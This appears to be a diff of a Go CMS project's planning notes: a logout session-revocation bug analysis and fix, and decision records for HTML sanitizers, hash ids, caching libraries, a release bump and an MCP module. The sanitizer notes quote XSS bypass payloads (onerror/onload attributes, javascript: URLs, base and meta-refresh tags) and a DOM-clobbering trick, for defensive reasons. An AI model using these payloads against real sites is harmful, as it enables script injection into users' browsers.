root_cause: "(1) Phase 16.2-01 added GET /field-types (717d46e) and POST /{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload (8fa92db) to the admin route inventory (phase09Routes) and admin.json but added no conformCase to TestPhase10OpenAPIConformance (modules/cabana/openapi_conformance_test.go), whose exhaustiveness check (line 416-419) fails on whichever of the two it meets first; (2) sm-journal-plugin TestJournalSVGEmbed (plugin_test.go:122-123, in PG_JOURNAL_REQUIRE) still asserts `type: mlmarkdown` in models/post/fields.yaml after 16.2-03 (fbd1c85) changed post content to `type: mlblogeditor`; (3) contributing: both checks are static but live in testcontainers-only binaries (newConformEnv -> adminGorm runs before the inventory check; the Journal root TestMain starts Postgres), the 16.2 execution host had no Docker and the summaries filed every cabana/Journal-root failure as docker.sock noise, check-phase16.2.sh's go-stage FRAMEWORK_RUN omits TestPhase10OpenAPIConformance, and the 16.2-01 PLAN/PATTERNS route checklist omitted openapi_conformance_test.go."
|
||||
fix: ""
|
||||
verification: ""
|
||||
files_changed: []
|
||||
suggested_fix_direction: |
|
||||
- Add two conformCases. GET /field-types: status 200, ref "cabana.FieldTypesResponse", decode into[cabana.FieldTypesResponse](); register a plugin field type on the conform fixture (conformPlugin implements pact.HasFormFieldTypes; element under its widget tag prefix; a script already in conformFS) so the list is non-empty and the ?v= asset URL can be checked with assertPluginAsset. POST .../fields/{field}/upload: status 201, ref "cabana.Envelope-cabana_FieldUploadResponse", decode into[cabana.Envelope[cabana.FieldUploadResponse]](); a gadget fields.yaml field of that alias whose type has Upload, multipart part named "file", sent with requireAjax headers. Mind that a plugin-typed field on the gadget form also runs Decode/Load in the existing create/update/show cases — make them benign or give conformGadget a column for it.
|
||||
- Fix TestJournalSVGEmbed to assert the intended `type: mlblogeditor` (optionally htmlColumn: content_html) for post content.
|
||||
- Recurrence guard: split the static inventory check out of the Docker setup (e.g. move `env := newConformEnv(t)` after the coverage loop, or a package-level conformCaseKeys + a Docker-free TestPhase10ConformanceInventory) and add it to FRAMEWORK_RUN in check-phase16.2.sh (and later gates); add openapi_conformance_test.go to the "new admin route" checklist next to phase09Routes and admin_openapi.go.
|
||||
|
||||
## Resolution
|
||||
|
||||
Fixed by plan 16.2-07 (released as summercms v0.1.20 and vue-journal-layer v0.3.0) and confirmed on UAT on 2026-10-10. See 16.2-07-SUMMARY.md.
|
||||
81
.planning/debug/user-logout-session-stays-valid.md
Normal file
81
.planning/debug/user-logout-session-stays-valid.md
Normal file
@@ -0,0 +1,81 @@
|
||||
---
|
||||
status: awaiting_human_verify
|
||||
trigger: "User plugin logout: auth cookies not invalidated at once; requests keep authenticating ~60 min until token expiry (todo 2026-10-22-user-logout-cookie-stays-valid)"
|
||||
created: 2026-10-22T00:00:00Z
|
||||
updated: 2026-10-22T00:00:00Z
|
||||
---
|
||||
|
||||
## Current Focus
|
||||
|
||||
bug_class: Bohrbug (deterministic)
|
||||
reasoning_checkpoint:
|
||||
hypothesis: "Logout reads only the bearer header (cookie sessions get 401, nothing revoked, cookie kept, jwt guard accepts the cookie until exp = 60 min), never writes a forget cookie, and blacklists the jti only until the access exp (so /refresh revives a logged-out token after exp + sweep)"
|
||||
confirming_evidence:
|
||||
- "probe: cookie-only logout 401, then GET /tokens with the cookie 200"
|
||||
- "probe: jwt_blacklist.expires_at == exp; after the sweep, /refresh of the logged-out token 200"
|
||||
- "bearer logout already refuses the bearer at once (guard checks blacklist) - so server-side check exists; the gap is what logout revokes and for how long"
|
||||
falsification_test: "if cookie-only logout after the fix still leaves GET /tokens 200, or /refresh after the sweep still 200, hypothesis/fix wrong"
|
||||
fix_rationale: "read the token exactly as the jwt guard does, revoke it (and any other session token the request carries) until the refresh window closes, accept an expired-but-refreshable token like cabana does, and expire the session cookies with auth.cookie attributes"
|
||||
blind_spots: "demo frontend never calls /logout (app-side, not fixable here); auth_token cookie is frontend-owned, its real attributes unknown (forget uses auth.cookie path/domain)"
|
||||
candidate_causes:
|
||||
- "code: Logout bearer-only extraction + exp-only blacklist expiry"
|
||||
- "config: blacklist store not published (no DB) -> no revocation; ruled out, Boot publishes PostgresBlacklist when *sql.DB/*gorm.DB exist and bearer logout works"
|
||||
- "environment/frontend: demo frontend logout only clears its own cookie and never calls /logout"
|
||||
and_gate: "no for the cookie case (extraction alone suffices); the refresh revival is an independent second defect"
|
||||
next_action: human verification in a real app (cookie-only logout, then a jwt.auth request with the old cookie must be 401); after confirmation archive to resolved/ and add the KB entry
|
||||
|
||||
## Symptoms
|
||||
|
||||
expected: after POST /_user/api/v1/logout the old token/cookie is refused (401) on the next request, and the cookies are cleared
|
||||
actual: requests keep authenticating for about 60 minutes, until the token expires
|
||||
errors: none
|
||||
reproduction: login, logout, repeat an authenticated request with the old cookie or token
|
||||
started: reported 2026-10-22
|
||||
|
||||
## Eliminated
|
||||
|
||||
## Evidence
|
||||
|
||||
- timestamp: 2026-10-22
|
||||
checked: bouncer jwtGuard.Authenticate (summercms.go modules/bouncer/jwt.go)
|
||||
found: access JWTs are checked for HS256 signature, exp, audience, the subject user (GormUsers.FindByID), the jti blacklist (BlacklistStore) and users.tokens_valid_after; token taken from bearer first, then cookies "token", "auth_token" (plugin.go Boot)
|
||||
implication: server-side revocation exists (jwt_blacklist); a blacklisted jti is refused on the next request
|
||||
- timestamp: 2026-10-22
|
||||
checked: controllers.Logout (api_controller.go)
|
||||
found: reads bearerToken(r) only (Authorization header); no cookie fallback; never writes a Set-Cookie; blacklists with Add(jti, exp, now) i.e. storage expiry = access exp
|
||||
implication: cookie-only logout => 401, nothing revoked, cookie kept; blacklist row is dropped after exp although the refresh window (20160 min) is still open
|
||||
- timestamp: 2026-10-22
|
||||
checked: sociallogin writeSession (token_cookie: true) and bouncer.CookieConfig.TokenCookie
|
||||
found: sets httpOnly `token` cookie (auth.cookie.* name/path/domain/samesite, Max-Age = refresh_ttl) and leaves token out of the body, so the browser cannot send a bearer header
|
||||
implication: such a frontend can only log out with the cookie => H1 path
|
||||
- timestamp: 2026-10-22
|
||||
checked: bouncer.refreshAudience comment and blacklist storage expiry
|
||||
found: Refresh stores the old jti until max(exp, iat+refreshTTL)+1min precisely so "a logged-out token cannot be refreshed again"; Logout does not
|
||||
implication: H2 plausible
|
||||
- timestamp: 2026-10-22
|
||||
checked: PHP ApiController::logout + AuthManager::logout(true)
|
||||
found: token from Bearer or jwt_token param; JWTAuth::invalidate(forceForever=true) => blacklisted forever; body {"message":"Logged out"}
|
||||
implication: Go logout should keep the jti blocked at least for the refresh window
|
||||
|
||||
- timestamp: 2026-10-22
|
||||
checked: cabana admin logout (summercms.go modules/cabana/auth.go logout)
|
||||
found: framework reference: always expires the cookie, reads bearer then cookie, VerifyRefreshableClaimsAudience, blacklists until max(exp, iat+refreshTTL)+1min
|
||||
implication: the plugin's logout lags the framework's own pattern
|
||||
- timestamp: 2026-10-22
|
||||
checked: Docker probe through the assembled router (newAdminEnv), pre-fix
|
||||
found: (A) cookie-only POST /logout -> 401 {"error":true,"message":"Unauthorized"}, no Set-Cookie; GET /tokens (jwt.auth) with the same cookie afterwards -> 200; token exp-iat = 1h0m0s. (B) bearer logout -> 200 and the bearer is refused at once (401), but jwt_blacklist.expires_at == token exp; the sweep after exp deletes the row and POST /refresh with the logged-out token -> 200 with a fresh token
|
||||
implication: H1 and H2 CONFIRMED. New test logout_test.go fails 7/8 subtests pre-fix (bearer passes)
|
||||
|
||||
## Resolution
|
||||
|
||||
root_cause: "controllers.Logout read the token only from the Authorization bearer header, although the jwt guard (and RequestUser) also accept the token/auth_token cookies: a cookie-carried session (e.g. the httpOnly token cookie sociallogin token_cookie sets) got 401 at /logout, nothing was blacklisted and no cookie was cleared, so the cookie kept authenticating jwt.auth routes until exp (golem15.user.jwt.ttl, 60 min). Logout also never wrote a forget cookie; and it (and EndRequestSession) kept the jwt_blacklist row only until the access exp, so after the sweep /refresh revived a logged-out token for the rest of the 20160-min refresh window."
|
||||
fix: "classes.EndSession (new export): revokes every session JWT the request carries (bearer, token, auth_token) that verifies - unexpired, or user-audience within its refresh window - until max(exp, iat+refresh_ttl)+1m; always writes the auth.cookie forget cookie plus forgets for other carried session cookies with the same attributes; returns the guard-order subject. Logout uses it (responses unchanged: 200 Logged out / 401 Unauthorized / 500); EndRequestSession is now its best-effort wrapper."
|
||||
verification:
|
||||
target_test: { result: pass, test: "logout_test.go TestLogoutEndsTheSession (10 subtests); TestEndRequestSession updated" }
|
||||
mutation_check: { result: pass, reason_if_skipped: "no Stryker for Go - manual mutants", mutant_killed: "7/7 (expiry-at-exp, bearer-only, no-forget, no-refreshable-verify, primary-only revoke, config-cookie-only forget, no legacy fallback)" }
|
||||
no_op_deletion: { result: pass, deletion_justified_by_rca: true }
|
||||
adjacent_tests: { result: pass, suites_run: ["sm-user-plugin go test ./... (Docker, all ok)", "sm-demo-app workspace: oauthserver + sociallogin go test (only TestClientRegistry/verify_secret and TestPHPMethodMap fail: they read ../summercms.go and ../fonoteka.go paths that exist only in the plugins' own repo layout; unrelated to the change)"] }
|
||||
revert_and_reconfirm: { result: pass, bug_returned_on_revert: true, fixed_on_reapply: true }
|
||||
guardrail_verdict: accepted
|
||||
commit: 358ee5d (sm-user-plugin, unpushed)
|
||||
files_changed: [classes/session_user.go, controllers/api_controller.go, session_user_test.go, logout_test.go, README.md]
|
||||
@@ -0,0 +1,32 @@
|
||||
# Decision: bluemonday sanitizes the framework richeditor field
|
||||
|
||||
**Date:** 2026-10-11
|
||||
**Status:** Accepted (Phase 17 plan 01, D-10)
|
||||
**Relates to:** `.planning/notes/journal-html-sanitizing-bluemonday.md` (the Journal plugin's policy, which this one ports)
|
||||
|
||||
## Decision
|
||||
|
||||
The framework module `git.golem15.com/golem15/summercms` adds `github.com/microcosm-cc/bluemonday` **v1.0.27** to its `go.mod`. It is the same library and the same version `sm-journal-plugin` already uses (latest tag, 2024-07-04, confirmed with `go list -m -json github.com/microcosm-cc/bluemonday@latest`). `go.sum` is committed with it.
|
||||
|
||||
A new framework module, `seaglass` (glass the sea has worn smooth), owns the policy:
|
||||
|
||||
- `seaglass.Sanitize`, `seaglass.SanitizeReport` and `seaglass.Check` port Journal's `newHTMLPolicy` / `SanitizeHTMLReport` / `CheckHTML`: bluemonday's UGC policy with `RequireNoFollowOnLinks(false)`, the link scheme allowlist (http, https, mailto, tel and relative URLs) and Journal's extra attributes.
|
||||
- The four Blog Editor rules (`figure data-embed`, `figure data-id`, free-text `img alt`, `ol start`) are **not** ported: they describe one plugin's editor output, and the framework must not import or mirror a plugin. A plugin that needs more keeps its own policy, as Journal does.
|
||||
- The byte-stable comparison is kept: when the input and bluemonday's output tokenize (with `golang.org/x/net/html`, already a framework dependency) to the same tokens, the input is returned byte for byte and nothing is reported, so re-escaping alone never rewrites stored HTML. A repeated attribute always counts as a change.
|
||||
- `SanitizeReport` returns what was removed (element names, attribute names, comment count, a Changed flag), which cabana turns into `meta.notices` on the field.
|
||||
|
||||
cabana's core `type: richeditor` field (FAQ descriptions, repeater answers) sanitizes every submitted value through `seaglass.SanitizeReport` on create and update, top level and inside repeater rows. Settings and relation forms refuse the type at boot, so no save path bypasses the gate.
|
||||
|
||||
## Why not cabana's markdown gate
|
||||
|
||||
`cabana.RenderMarkdown` checks goldmark output with three regexes (unsafe tags, `on*=` attributes, dangerous schemes). It only works there because goldmark renders without unsafe HTML, so raw HTML never reaches the check. A richeditor stores raw HTML. The Journal decision note lists real bypasses of exactly that regex style: `<img src="x"onerror=…>`, `<svg/onload=…>`, `javascript:`, `javascript:`, `javascript:`, MathML `xlink:href`, `<base>`, `<meta http-equiv=refresh>`, `<form>`. A tokenizing sanitizer checks attributes and URL values the way a browser parses them. The project prefers a maintained library for security code over a hand-built gate (the Journal note also rejected a hand-built allowlist on `golang.org/x/net/html`).
|
||||
|
||||
## Deviation from D-10: Journal category content stays blogeditor
|
||||
|
||||
D-10 also said "Journal's category `content` switches from `textarea` to `richeditor`". Phase 16.2 already shipped the Journal Blog Editor (`type: blogeditor`) for category content and closed the `cabana-richeditor-field-type` todo (RESEARCH A1, PATTERNS note). Switching it would regress that editor. This clause is recorded as a resolved deviation: Journal category content stays `blogeditor`; the framework richeditor serves the FAQ description and the repeater answer only.
|
||||
|
||||
## Consequences
|
||||
|
||||
- One sanitizer version across the workspace (framework and Journal both pin v1.0.27); a future bump changes both together.
|
||||
- Imported PHP HTML that the policy keeps whole round-trips byte for byte on its next admin save; HTML the policy changes is stored sanitized and the editor sees what was removed.
|
||||
- `modules/seaglass/README.md` names bluemonday under Dependencies; the root README lists the module.
|
||||
@@ -0,0 +1,61 @@
|
||||
# Decision: DOMPurify sanitizes the admin richeditor read-only display
|
||||
|
||||
**Date:** 2026-10-12
|
||||
**Status:** Accepted (quick task 261012-s3g, closes T-10-16 / T-17-10)
|
||||
**Relates to:** `.planning/notes/2026-10-11-framework-html-sanitizer-bluemonday.md` (the server-side gate on every richeditor save), `.planning/phases/10-admin-vue-spa/10-SECURITY.md`
|
||||
|
||||
## Decision
|
||||
|
||||
The admin SPA (`admin/package.json`) adds three npm packages, each with an exact pin and the committed `package-lock.json`:
|
||||
|
||||
| Package | Version | Kind | Use |
|
||||
|---------|---------|------|-----|
|
||||
| `dompurify` | 3.4.16 | runtime dependency | sanitizes the richeditor read-only display (`displayHtml` in `admin/src/components/form/richeditor/html.ts`) |
|
||||
| `@vitest/browser` | 3.2.7 | devDependency | Vitest browser mode, matching the installed vitest 3.2.7 exactly (its peerDependency) |
|
||||
| `playwright` | 1.60.0 | devDependency | the browser-mode provider (Chromium) |
|
||||
|
||||
The browser suite runs as `npm --prefix admin run test:browser` from `admin/vitest.browser.config.ts` and covers `admin/tests/browser/**/*.test.ts`. The happy-dom suite (`npm --prefix admin test`) excludes `tests/browser`.
|
||||
|
||||
`displayHtml` uses a dedicated DOMPurify instance (`DOMPurify(window)`, so the hook is not global) with one frozen config:
|
||||
|
||||
- `ALLOWED_TAGS`: the editor's elements, `EDITOR_TAGS` from `lossy.ts`;
|
||||
- `ALLOWED_ATTR`: `['href']`; `ALLOW_DATA_ATTR` and `ALLOW_ARIA_ATTR` false;
|
||||
- an `uponSanitizeAttribute` hook that keeps `href` only on `<a>` and only when `isAllowedLink` accepts it (http, https, mailto, tel or a relative URL);
|
||||
- `ADD_FORBID_CONTENTS`: the former `DROPPED` list (script, style, template, noscript, iframe, frame, frameset, object, embed, applet, svg, math, title, head, meta, link, base), so those elements go with their content;
|
||||
- `KEEP_CONTENT` true: any other element is unwrapped and keeps its text;
|
||||
- string input and string output (`RETURN_TRUSTED_TYPE` false); never `RETURN_DOM`, `RETURN_DOM_FRAGMENT` or `IN_PLACE`. DOMPurify parses the string with `DOMParser` into an inert document, so nothing is adopted into the live document and no image request starts while sanitizing.
|
||||
|
||||
`displayHtml` fails closed: it returns the empty string unless DOMPurify reports `isSupported` and a fixed canary (`<p onclick="x"><b>a</b><script>b</script><a href="javascript:c">d</a></p>`) sanitizes to exactly `<p><b>a</b><a>d</a></p>`. The stored value is never bound.
|
||||
|
||||
## Why
|
||||
|
||||
- **The hand-rolled walker was bypassable.** `clean()` read `nodeType`, `localName`, `childNodes` and `attributes` from each element. A `<form>` holding `<input name="nodeType">` (or `name="localName"`, or an `img`/`button` named that way) clobbers those properties, so the walker skipped the form and everything inside it, including an `<img onerror>`, and the result was bound with a raw-HTML directive at `RichEditorField.vue:305`.
|
||||
- **Maintained library for security code.** The project prefers a maintained sanitizer over a hand-built one (bluemonday on the server, the Journal note's rejection of a hand-built allowlist). DOMPurify is the de-facto browser sanitizer, has explicit DOM-clobbering checks (`_isClobbered`, removal of clobbered forms before attributes are visited) and reads node properties through prototype getters captured at load, not through the element itself.
|
||||
- **happy-dom cannot test it.** happy-dom does not reproduce form-control clobbering, and under happy-dom 20.11.6 DOMPurify reports `isSupported` true yet visits only top-level nodes: `<section><p class="x">a</p></section><script>b</script>` comes back as `<p class="x">a</p><script>b</script>`. Hence the canary (fail closed where the walker is not faithful) and a regression suite in a real engine.
|
||||
|
||||
## Scope vs Phase 10 D-23
|
||||
|
||||
Playwright is used only as the Vitest browser-mode provider, for unit-level tests that need a real engine. It does not implement the deferred Playwright end-to-end follow-up recorded in `10-CONTEXT.md` (D-23); that stays deferred.
|
||||
|
||||
## Legitimacy
|
||||
|
||||
Re-checked on 2026-10-12 before install, matching the planning-time table:
|
||||
|
||||
| Package | Version | Check | Result |
|
||||
|---------|---------|-------|--------|
|
||||
| dompurify | 3.4.16 | `npm view dompurify@3.4.16 dist.integrity maintainers repository.url` | integrity `sha512-sqo+pNp3qRhCIpbgRi1y8Tgk27Bo2Ry7w0dC1NBeNTdZChWjz9Xb/KOoZbRP/R6pQZ80Qw8YhXw13hWWBbMRnQ==`; maintainer `cure53 <mario@cure53.de>` (sole maintainer since the start); repo `github.com/cure53/DOMPurify`; license `(MPL-2.0 OR Apache-2.0)`; one dependency `@types/trusted-types ^2.0.7`; released 2026-09-23 |
|
||||
| @vitest/browser | 3.2.7 | `npm view @vitest/browser@3.2.7 maintainers peerDependencies` | maintainers ariperkkio, antfu, hiogawa, oreanno, yyx990803 (vitest-dev); repo `github.com/vitest-dev/vitest`; peer `vitest: 3.2.7`, `playwright: *`; released 2026-07-06 |
|
||||
| playwright | 1.60.0 | `npm view playwright@1.60.0 maintainers dependencies` | maintainers pavelfeldman, yurys, dgozman-ms, playwright-bot (Microsoft); repo `github.com/microsoft/playwright`; one dependency `playwright-core 1.60.0`; released 2026-05-11 |
|
||||
|
||||
The lockfile's dompurify integrity must equal the value above; `npm ci` installs from the committed lockfile.
|
||||
|
||||
## Version choice
|
||||
|
||||
3.4.17 is the latest release, but it was published on 2026-10-12, hours before this decision. Its release notes list `IN_PLACE` and hook fixes and edge-case hardening, with no security advisory. 3.4.16 is pinned under a 7-day release cooldown. Bump to 3.4.17 or later after 2026-10-19.
|
||||
|
||||
## Consequences
|
||||
|
||||
- The read-only display drops the content of DOMPurify's default content-forbidden elements (thead, colgroup, audio, video and others) on top of the `DROPPED` list. The editor itself never produces them.
|
||||
- happy-dom tests can no longer assert exact display output: `displayHtml` returns the empty string there. Exact assertions live in `admin/tests/browser/richeditor-display.test.ts`.
|
||||
- The browser suite needs the Playwright Chromium build on the machine (`npx --prefix admin playwright install chromium` once).
|
||||
- The committed admin dist grows by the DOMPurify bundle; the only URL literal it adds is `http://www.w3.org`, which the dist-origin rule already allows.
|
||||
@@ -0,0 +1,26 @@
|
||||
# Decision: go-hashids for the payment gateway hash ids
|
||||
|
||||
**Date:** 2026-10-13
|
||||
**Status:** Accepted
|
||||
**Context:** Phase 18 plan 02 (`sm-paymentgateway-plugin`), 18-RESEARCH.md Standard Stack and assumption A3
|
||||
|
||||
## Decision
|
||||
|
||||
`sm-paymentgateway-plugin` depends on `github.com/speps/go-hashids/v2` at **v2.0.1** for the order `hash_id` (length 8) and `guest_code` (length 32, over `id * 118`) columns.
|
||||
|
||||
- The PHP plugin generates both with `hashids/hashids` 5.0.2 over the alphabet `abcdefghijklmnopqrstuvwyzABCDEFGHIJKLMNOPQRSTUVWYZ1234567890`, the configured salt (`PG_HASHIDS_SALT`) and, decode-only, the legacy salt `KEIOS.PAYMENTGATEWAY`. Existing rows in every consuming application carry these values and the frontends look orders up by them, so the Go encoder has to be byte-identical.
|
||||
- The research probe ran go-hashids v2.0.1 against PHP hashids 5.0.2 on 24 vectors (custom alphabet, both salts, lengths 8 and 32): 24/24 match.
|
||||
- A hand-rolled encoder was rejected: Hashids has alphabet shuffles, separators and guards with many edge cases, and a mismatch would silently break every stored id.
|
||||
- The library is MIT, 1.4k stars, not archived; its last release (2021-05) predates nothing the plugin needs, the algorithm is frozen. It has no dependencies of its own.
|
||||
|
||||
The salt is the config key `golem15.paymentgateway.hashids_salt` (`SUMMER_GOLEM15__PAYMENTGATEWAY__HASHIDS_SALT`); an empty salt fails boot (PG-005). Decoding tries the configured salt, then the legacy salt.
|
||||
|
||||
## Related dependencies
|
||||
|
||||
- `github.com/stripe/stripe-go/v87` v87.0.0 is already decided by D-12 (18-CONTEXT.md) for `sm-pgstripe-plugin`; this note does not add it to the payment gateway plugin.
|
||||
- `github.com/shopspring/decimal` is an indirect dependency of stripe-go. It appears in `go.sum` of `sm-pgstripe-plugin` and is **never used for money**: the payment gateway's `money` package is a hand-ported MoneyRight value type (int64 scaled by 10^4) covered by the PHP vectors.
|
||||
|
||||
## Consequences
|
||||
|
||||
- `sm-paymentgateway-plugin/go.mod` requires `github.com/speps/go-hashids/v2 v2.0.1`; `support/hashids.go` is the only importer.
|
||||
- A later change of the hashids library needs a new vector run against PHP before it ships.
|
||||
34
.planning/notes/2026-10-15-cooler-go-redis-otter.md
Normal file
34
.planning/notes/2026-10-15-cooler-go-redis-otter.md
Normal file
@@ -0,0 +1,34 @@
|
||||
# Decision: go-redis v9 and otter v2 for cooler
|
||||
|
||||
**Date:** 2026-10-15
|
||||
**Status:** Accepted
|
||||
**Context:** Phase 19.3 (`cooler` module, D-06..D-09, D-13), 19.3-RESEARCH.md Standard Stack and Package Legitimacy Audit
|
||||
|
||||
## Decision
|
||||
|
||||
The new `cooler` module (cache drivers, the Redis-backed rate-limit store, later the site-cache purge) depends on:
|
||||
|
||||
- **`github.com/redis/go-redis/v9` at v9.23.0** as the Redis client (locked by D-07).
|
||||
- The official Redis client for Go, MIT/BSD, maintained by Redis.
|
||||
- `redis.ParseURL` reads `redis://`, `rediss://` (TLS) and `unix://` URLs, so the one config key `redis.url` covers local, managed and socket setups.
|
||||
- `redis.NewScript` with `Script.Run` sends EVALSHA and falls back to EVAL on NOSCRIPT, which the atomic fixed-window rate-limit script needs.
|
||||
- `redis.NewClient` does not dial; the first command does. `cooler.FromApp` relies on this to give jobs and console commands a cache without a connection at construction.
|
||||
- cooler sets `DisableIdentity` and disables maintenance notifications, so the client sends no `CLIENT SETINFO` or `CLIENT MAINT_NOTIFICATIONS` handshake to servers that do not know them.
|
||||
- **`github.com/maypok86/otter/v2` at v2.3.0** as the in-process memory cache driver (D-07 discretion: otter or a stdlib map).
|
||||
- Bounded size (`MaximumSize`), per-entry expiry (`ExpiryCalculator`), lock-scoped `Compute` for an atomic `Increment`, an injectable clock for tests. No runtime dependencies (its go.mod requires only testify, for its own tests).
|
||||
- Already named for `cooler` in `.planning/research/ARCHITECTURE.md` and `.planning/research/go-ecosystem.md`.
|
||||
- **A stdlib map was rejected:** a map with a mutex and a sweeper is about a hundred lines, but it is unbounded. Cache keys often derive from request data (`user:<id>`, a client IP), so the map grows without limit; bounding it means writing an LRU by hand, which is exactly what otter already does well.
|
||||
|
||||
Both versions were checked on proxy.golang.org during research (existence, publish time, VCS origin `github.com/redis/go-redis` and `github.com/maypok86/otter`).
|
||||
|
||||
## Related dependencies
|
||||
|
||||
- **`github.com/alicebob/miniredis/v2` v2.40.0, test-only.** An in-process Redis for the `-short` unit tests of cooler (EVAL/EVALSHA, PTTL, INCRBY, SCAN, UNLINK, `FastForward` for TTLs). The package name came from training knowledge, so it is installed only in plan 05, after a blocking human check of the package. Production code never imports it.
|
||||
- **`gocloud.dev/blob/s3blob`**, from the already required `gocloud.dev` v0.46.0. Plan 03 imports it only from a file under the `summercms_s3` build tag, so binaries built without the tag carry no S3 code. The import adds the AWS SDK v2 modules to `go.mod` and `go.sum` as indirect requirements.
|
||||
- **Docker-backed Redis tests** use the generic `testcontainers.Run` with the `redis:7-alpine` image from the already required `github.com/testcontainers/testcontainers-go`. No testcontainers Redis sub-module is added.
|
||||
|
||||
## Consequences
|
||||
|
||||
- `go.mod` requires `github.com/redis/go-redis/v9 v9.23.0` and `github.com/maypok86/otter/v2 v2.3.0`; `modules/cooler` is the only importer of both. `surf` imports `cooler`, never go-redis directly.
|
||||
- Config keys introduced with them: `redis.url`, `cache.driver` (`memory`|`redis`), `cache.prefix`, `cache.memory.max_entries`, `http.rate_limit.store` (`memory`|`redis`). Apps and deploy docs depend on these once they ship.
|
||||
- Replacing the Redis client later means re-validating the rate-limit Lua script and the key layout (`<prefix>cache:`, `<prefix>rl:`) against the new client.
|
||||
21
.planning/notes/2026-10-15-release-v0-2-0.md
Normal file
21
.planning/notes/2026-10-15-release-v0-2-0.md
Normal file
@@ -0,0 +1,21 @@
|
||||
# Release the 19.3 gap closure as v0.2.0, not v0.1.28
|
||||
|
||||
**Date:** 2026-10-15
|
||||
**Decision:** The next framework tag after v0.1.27 is **v0.2.0**.
|
||||
|
||||
## Why
|
||||
|
||||
The 19.3-06 review fixes include changes that can make an app that boots on v0.1.27 refuse to boot after the upgrade:
|
||||
|
||||
- WR-05: in production, a token cookie whose `Secure` is inferred as false (http or empty `app.url`) is refused at boot.
|
||||
- WR-04: credentialed CORS refuses wildcard-host and unanchored origin patterns at boot.
|
||||
|
||||
Smaller behaviour changes ride along: site-cache purges run queued after commit (WR-01), protected uploads into a `public_url` bucket are refused (WR-07), Journal's old purge keys are deprecated aliases.
|
||||
|
||||
In a v0.x Go module the minor version is the signal for "check your config before upgrading". Consumers pin exact versions, so the bump costs nothing technically.
|
||||
|
||||
## Consequences
|
||||
|
||||
- Plugins and apps move with `go get git.golem15.com/golem15/summercms@v0.2.0`.
|
||||
- The docs and the release notes carry an "Upgrading to 0.2" section naming the two boot refusals and the config that fixes each.
|
||||
- From here, the minor version is bumped when an upgrade can refuse a previously valid config or changes a documented behaviour; patch versions stay safe to take without reading.
|
||||
38
.planning/notes/2026-10-17-generic-mcp-module.md
Normal file
38
.planning/notes/2026-10-17-generic-mcp-module.md
Normal file
@@ -0,0 +1,38 @@
|
||||
---
|
||||
title: Generic MCP module for SummerCMS applications
|
||||
date: 2026-10-17
|
||||
context: /msd-explore session. Agents already drive applications (for example a quiz/presentation app) through plugin management APIs with personal tokens; an MCP surface would be smoother. Records the shape agreed before Phase 19.7 is planned.
|
||||
---
|
||||
|
||||
# Generic MCP module for SummerCMS applications
|
||||
|
||||
## Starting point
|
||||
|
||||
- Agents mostly call plugin-specific management routes (`user.api_token` + `user.scope:*` + `user.permission:<code>`), not cabana's generic admin CRUD. Generating tools from `fields.yaml` therefore does not cover the use case.
|
||||
- The route table (`pact.Router`) holds only method, path, handler and middleware names. From that alone the token-accepting routes, read or write (scope middleware or method), path parameters and the required permission code can be derived. Descriptions, request body shapes and response meaning cannot.
|
||||
- `surf.APIDocsProvider` (one OpenAPI document per application) does not fit applications assembled from plugins in several repositories.
|
||||
|
||||
## Decisions
|
||||
|
||||
1. **In-binary, opt-in module.** A new framework module (beach name to pick) mounts an MCP endpoint (for example `/mcp`) when enabled in config, in the same way `http.api_docs.enabled` mounts `/api-docs`. Disabled by default; an application without it is unaffected.
|
||||
2. **Plugins declare their tools.** A new optional `pact` capability, the counterpart of WinterCMS `registerMcpTools()` in `Plugin.php`: each tool has a name, a description, an input Go struct (its JSON schema is reflected) and the route it maps to. A plugin that declares nothing exposes nothing. A shared plugin carries its tools into every application that mounts it.
|
||||
3. **Each tool declares its guard** (`user` for sm-user-plugin principals, `backend` for cabana principals) and inherits the permission requirements of its route.
|
||||
4. **`tools/list` is computed per principal.** A tool is offered only when the principal passes the route's checks: `user.scope:*` and `user.permission:<code>` through `MergedPermissions` / `HasPermission` for frontend users, `cabana.Allows` with the token's scope limit for backend users. The user's own tri-state permissions (allow / inherit / deny, already supported by the `permissioneditor` radio mode) therefore shape the tool list with no new permission system.
|
||||
5. **One person, one connector.** The editor adds the site's MCP URL as a connector and signs in once through `wristband` OAuth as their frontend user. If that frontend user has a verified link to a `backend_users` row, the grant also carries that backend principal, and backend-guarded tools (Journal) run as it. `tools/list` is the union of what both identities allow; a person without a link sees no backend tools.
|
||||
6. **Journal stays on `backend_users`.** Authors remain backend users; moving them to frontend users would break a core plugin. The account link bridges the two instead.
|
||||
|
||||
## The account link must prove ownership
|
||||
|
||||
An admin picking any frontend user in My Profile would let that admin act through MCP as someone else. The link is therefore saved only after the frontend account signs in (My Profile → "Link frontend account" → site sign-in). A superuser can set or remove links on the Users screen behind a new backend permission, for onboarding editors. Revoking the link or the OAuth grant removes the backend tools. Never link by matching email.
|
||||
|
||||
## Prerequisites (todos)
|
||||
|
||||
- Plugins register their frontend permission codes in Go (`.planning/todos/pending/2026-10-17-plugin-registered-frontend-permissions.md`).
|
||||
- Verified frontend ↔ backend account link (`.planning/todos/pending/2026-10-17-frontend-backend-account-link.md`).
|
||||
|
||||
## Open for Phase 19.7 discussion
|
||||
|
||||
- Transport (streamable HTTP) and whether to take the MCP Go SDK as a dependency; it needs a decision note naming it and its version (CLAUDE.md dependency rule). Unresolved: not researched in this session.
|
||||
- How a tool call reaches its handler: an in-process request through the surf router with the resolved principal, so the route's own middleware (throttles, scope, permission) still runs, rather than calling the handler directly.
|
||||
- Whether plain personal tokens (user `user_api_tokens`, cabana `g15_…`) may also open an MCP session for single-identity agents, next to OAuth.
|
||||
- Tool naming across plugins (prefix by plugin code to avoid collisions) and how a tool describes its response.
|
||||
32
.planning/notes/2026-10-18-bluemonday-forum-policy.md
Normal file
32
.planning/notes/2026-10-18-bluemonday-forum-policy.md
Normal file
@@ -0,0 +1,32 @@
|
||||
# Decision: named bluemonday forum policy (not richeditor UGC)
|
||||
|
||||
**Date:** 2026-10-18
|
||||
**Status:** Accepted
|
||||
**Context:** Phase 19.1 plan 02 (D-16, D-17, D-18), 19.1-RESEARCH.md Pitfall 5 and Pitfall 6
|
||||
|
||||
## Decision
|
||||
|
||||
Forum sanitizing uses `github.com/microcosm-cc/bluemonday` **v1.0.27**, already required by the framework `go.mod` (seaglass / richeditor, `.planning/notes/2026-10-11-framework-html-sanitizer-bluemonday.md`). This note does **not** add the library again. `sm-forum-plugin` must not `require` bluemonday or goldmark.
|
||||
|
||||
